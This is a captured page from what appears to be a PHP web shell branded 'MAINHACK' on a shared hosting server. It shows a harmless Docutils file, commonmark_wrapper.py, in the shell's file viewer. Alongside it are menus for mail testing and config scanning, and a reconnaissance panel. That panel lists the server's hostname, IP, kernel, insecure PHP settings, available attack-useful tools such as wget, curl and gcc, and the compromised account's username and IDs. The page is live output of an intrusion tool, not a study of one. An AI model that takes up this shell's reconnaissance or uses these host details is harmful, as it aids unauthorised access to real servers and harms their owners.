[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: commonmark_wrapper.py
File is not writable. Editing disabled.
#! /usr/bin/env python3 # :Copyright: © 2022 Günter Milde. # :License: Released under the terms of the `2-Clause BSD license`_, in short: # # Copying and distribution of this file, with or without modification, # are permitted in any medium without royalty provided the copyright # notice and this notice are preserved. # This file is offered as-is, without any warranty. # # .. _2-Clause BSD license: https://opensource.org/licenses/BSD-2-Clause # # Revision: $Revision: 9048 $ # Date: $Date: 2022-03-29 23:50:15 +0200 (Di, 29. Mär 2022) $ """ An interface for parsing CommonMark input. Select a locally installed parser from the following 3rd-party parser packages: :pycmark: https://pypi.org/project/pycmark/ :myst: https://pypi.org/project/pycmark/ :recommonmark: https://pypi.org/project/pycmark/ (unmaintained, deprecated) The first parser class that can be successfully imported is mapped to `commonmark_wrapper.Parser`. This module is provisional: the API is not settled and may change with any minor Docutils version. """ import docutils.parsers commonmark_parser_names = ('pycmark', 'myst', 'recommonmark') """Names of compatible drop-in CommonMark parsers""" Parser = None parser_name = '' for name in commonmark_parser_names: try: Parser = docutils.parsers.get_parser_class(name) except ImportError: continue parser_name = name break if Parser is None: raise ImportError( 'Parsing "CommonMark" requires one of the packages\n' f'{commonmark_parser_names} available at https://pypi.org') if parser_name == 'myst': if not Parser.settings_defaults: Parser.settings_defaults = {} Parser.settings_defaults['myst_commonmark_only'] = True
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 691.13 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A